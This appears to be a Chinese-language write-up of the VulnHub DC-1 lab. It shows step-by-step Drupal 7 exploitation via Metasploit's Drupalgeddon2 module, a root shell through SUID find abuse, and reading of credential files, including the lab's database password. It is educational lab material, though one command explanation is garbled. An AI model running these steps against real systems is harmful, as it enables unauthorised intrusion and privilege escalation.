DC -1 思路（详解版）DC -1**** 地址 https://www.vulnhub.com/entry/dc-1

DC -1****

地址

www.vulnhub.com/entry/dc-1,…

前置：

把 dc 靶机设置为 nat 模式，使得其与 kali 处于同一个网段；

打开该靶机

处于此登录页面即可；

信息收集****

1. 扫描主机 IP****

先使用 kali 进行同网段扫描（kali 使用 root 权限）

arp-scan -l

· arp-scan —— 基于 ARP 协议的主机扫描工具

· -l —— 扫描本地网络接口所在的整个网段（local network）

为什么用 arp-scan：

因为它在二层工作，不依赖目标开放任何端口。即使靶机防火墙全开，ARP 请求也会得到响应。这是黑盒下最轻量、最不打扰目标的主机发现方式。

.1 .2 .254 分别是VMware 网关固定地址，VMware DHCP 固定地址，VMware 虚拟网络组件固定地址；

所以，我们的到了 DC 的 IP地址

192.168.174.139

2. 扫描端口****

现在使用 namp 对该地址进行扫描

nmap -sV -sC 192.168.174.139

可以看到有三个端口是开放的；

在 80 端口的脚本输出里：

http-generator: Drupal 7 (drupal.org)
http-title: Welcome to Drupal Site | Drupal Site

这是整张图最重要的信息。它直接告诉你：

· 网站用的是 Drupal 7 CMS（版本）

· Drupal 7 有一个著名的远程代码执行漏洞 CVE-2018-7600（俗称 Drupalgeddon2）

· 这就是 DC-1 的预期入口

3. 指纹识别****

对网址进行访问

http://192.168.174.139

这是一个 Drupal 站点

· 页面顶部有 Drupal 的蓝色水滴 logo

· 底部写着 "Powered by Drupal"

· 标题是 "Welcome to Drupal Site

结合你之前 nmap 扫到的 http-generator: Drupal 7，确认是 Drupal 7。

或者

whatweb http://192.168.174.139

使用 whatweb 命令也能的到版本号就是CMS 版本为 Drupal 7

whatweb 是指纹识别的命令；

3.1. 获取精确版本号****

Drupal 7 默认在网站根目录放置 CHANGELOG.txt，里面第一行就是当前版本号。

curl -s http://192.168.174.139/CHANGELOG.txt | head -5

发现网站进行了安全加固，我们没有找到该默认文件；

4. 知道版本后查找漏洞****

searchsploit drupal 7

这是 Kali 自带的 Exploit-DB 离线查询工具，会列出所有和 Drupal 7 相关的 exp。

┌──(root㉿kali)-[/home/big1tall/桌面]
└─# searchsploit drupal 7

Exploit Title | Path

Drupal 4.1/4.2 - Cross-Site Scripting                                                  | php/webapps/22940.txt
Drupal 4.5.3 < 4.6.1 - Comments PHP Injection                                          | php/webapps/1088.pl
Drupal 4.7 - 'Attachment mod_mime' Remote Command Execution                            | php/webapps/1821.php
Drupal 4.x - URL-Encoded Input HTML Injection                                          | php/webapps/27020.txt
Drupal 5.2 - PHP Zend Hash ation Vector                                                | php/webapps/4510.txt
Drupal 6.15 - Multiple Persistent Cross-Site Scripting Vulnerabilities                 | php/webapps/11060.txt
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)                      | php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session)                       | php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1)            | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2)            | php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution)               | php/webapps/35150.php
Drupal 7.12 - Multiple Vulnerabilities                                                 | php/webapps/18564.txt
Drupal 7.x Module Services - Remote Code Execution                                     | php/webapps/41564.php
Drupal < 4.7.6 - Post Comments Remote Command Execution                                | php/webapps/3313.pl
Drupal < 5.1 - Post Comments Remote Command Execution                                  | php/webapps/3312.pl
Drupal < 5.22/6.16 - Multiple Vulnerabilities                                          | php/webapps/33706.txt
Drupal < 7.34 - Denial of Service                                                      | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)               | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)               | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)            | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution    | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)       | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Executi | php/remote/46510.rb
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Executi | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution                         | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution                                     | php/webapps/46459.py
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure                      | php/webapps/44501.txt
Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting (XSS)                     | php/webapps/50841.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site Scripting | php/webapps/25493.txt
Drupal Module CODER 2.5 - Remote Command Execution (Metasploit)                        | php/webapps/40149.rb
Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution                          | php/remote/40144.php
Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scripting                | php/webapps/35397.txt
Drupal Module Drag & Drop Gallery 6.x-1.5 - 'upload.php' Arbitrary File Upload         | php/webapps/37453.php
Drupal Module Embedded Media Field/Media 6.x : Video Flotsam/Media: Audio Flotsam - Mu | php/webapps/35072.txt
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit)                      | php/remote/40130.rb
Drupal Module Sections - Cross-Site Scripting                                          | php/webapps/10485.txt
Drupal Module Sections 5.x-1.2/6.x-1.2 - HTML Injection                                | php/webapps/33410.txt

Shellcodes: No Results

如果目标是 Drupal 7.x，以下几个利用脚本最值得关注（按优先级排序）：

漏洞名称	影响版本	脚本路径	说明
Drupalgeddon2	Drupal < 8.3.9 / < 8.4.6 / < 8.5.1（含 7.x 部分版本）	php/webapps/44449.rb	最著名的 RCE 漏洞，Metasploit 模块，可远程执行代码
Drupalgeddon3	Drupal < 7.58	php/webapps/44557.rb	认证后的 RCE，需要登录权限
Drupalgeddon SQL Injection	Drupal 7.0 < 7.31	php/webapps/34992.py	可添加管理员用户的 SQL 注入
Drupal 7.x Module Services RCE	Drupal 7.x	php/webapps/41564.php	模块相关的远程代码执行
Drupal Module RESTWS 7.x RCE	Drupal 7.x	php/remote/40130.rb	Metasploit 模块，针对 RESTWS 模块

在真实的环境中，我们缩小信息到现在就要挨个挨个尝试了；

5. 确定漏洞进行尝试****

我们先尝试 Drupalgeddon2（CVE-2018-7600）

“找到一个 CVE-2018-7600 编号的漏洞，我们可以选择用下载的 exp 和 poc 去验证”

· CVE-2018-7600 = Drupalgeddon2，这是漏洞的“身份证号”

· exp（Exploit） = 利用代码，能真正打进去、拿到权限的脚本

· poc（Proof of Concept） = 概念验证，证明漏洞存在的代码，不一定能拿权限

· “下载的 exp 和 poc” = 你可以从 GitHub、Exploit-DB 等地方下载别人写好的脚本，手动跑

这里我们选择用 kali 自带的 msfconsole 来进行攻击，msfconsole 已经将这个漏洞的 exp 和 poc 集成进去了！

5.1. 使用 msfconsole 框架****

kali 输入

msfconsole

启动 Metasploit 框架的控制台。

5.1.1. 搜索漏洞模块

然后我们去搜索准备验证的漏洞编号Drupalgeddon2

search drupal_drupalgeddon2

Rank 是 excellent（最高等级），说明这个 exp 成功率很高。每个模块会显示一个 Rank（等级） ，用来表示这个漏洞利用代码的可靠程度和成功率。

5.2. 选择模块****

use 模块名

use exploit/unix/webapp/drupal_drupalgeddon2

模块加载成功；

5.3. 查看需要填什么****

show options

图片丢给 ai，我们知道了需要填入RHOSTS（目标 ip）

5.4. 填入目标 ip****

set RHOSTS 192.168.174.139

再次查看发现目标 ip 已经填入

5.5. run 执行****

run

· Meterpreter session 1 opened —— 会话建立成功

· meterpreter > —— 你现在已经进入目标机器的 Meterpreter 控制台

· www-data 权限的 shell（Drupal 默认运行用户）

6. 本地提权****

看到下面这个符号：

meterpreter >

这个提示符表示：你正在通过 Meterpreter 控制 DC-1。

· 你的物理位置：Kali 攻击机

· 你的控制对象：DC-1 靶机（192.168.174.139）

6.1. 查看当前在目标系统里的用户身份****

getuid

6.2. 进入 shell 并收集信息****

shell 从 Meterpreter 的“高级控制台”，切换到目标系统真正的命令行终端。

meterpreter >：像是一个“遥控器”，你可以用它按按钮（getuid、sysinfo、upload），但不能直接敲系统命令。

shell：相当于把目标机器的“键盘和屏幕”借过来，让你能像坐在那台机器前一样，直接输入 ls、cat、whoami 这些 Linux 命令。

shell

正常而言应该是会出提示符 # 或者 $ ，这里没有出现，我输入 id 发现有结果，说明 shell 成功了；只是没有提示符而已；

可以使用下面命令优化界面

python -c "import pty;pty.spawn('/bin/bash')"

如果 Python 不存在，用：

script /dev/null -c bash

得到一个更完整的交互式 shell，支持 tab 补全、clear、su 等。

观察****

1.1. 收集提权信息****

依次输入

uname -a
cat /etc/passwd
find / -perm -4000 -type f 2>/dev/null

· uname -a：查看内核版本，判断是否有内核提权漏洞可利用。

· cat /etc/passwd：查看系统用户列表，寻找可疑账号或可登录账号。

在最后看到了一个 flag

· find / -perm -4000 -type f 2>/dev/null：查找所有 SUID 程序，这是 Linux 本地提权最常见的突破口。

我们收集发现，find 有 suid 权限，这样的话任何用户在进行 find 命令时都有 root 权限；

1.2. find 提权****

find . -exec /bin/sh ; -quit

· find .：从当前目录开始查找文件。

· -exec /bin/sh ;：对找到的第一个文件，执行 /bin/sh（启动一个 Shell）。; 是 -exec 的结束符，必须加。

· -quit：执行完一次后立即退出，不继续遍历。

效果：由于 find 带有 SUID 权限，它启动的 /bin/sh会继承 root 权限，你就拿到了一个 root Shell。

为了不降权，也可以加上参数 -p

find . -exec /bin/sh -p ; -quit

此时我们就拿到了 root 权限；

1.3. 寻找 flag****

ls 查看发现文件 flag1，去查看时发现

Every good CMS needs a config file - and so do you.
每个好的 CMS 都需要一个配置文件——你也是。

说明我们需要去查看配置文件；

1.4. 寻找配置文件****

我们去到这个问价下；

cd /sites/default
cat settings.php

如果嫌麻烦也可以使用 find 进行查找

cat find / -name settings.php

先用 find 找到所有名为 settings.php 的文件，然后 cat 把它们的路径当成命令去执行。

俩种方法都可以找到的；

/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/

$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);

提示我们需要获得高级权限，并且获得了数据库的密码；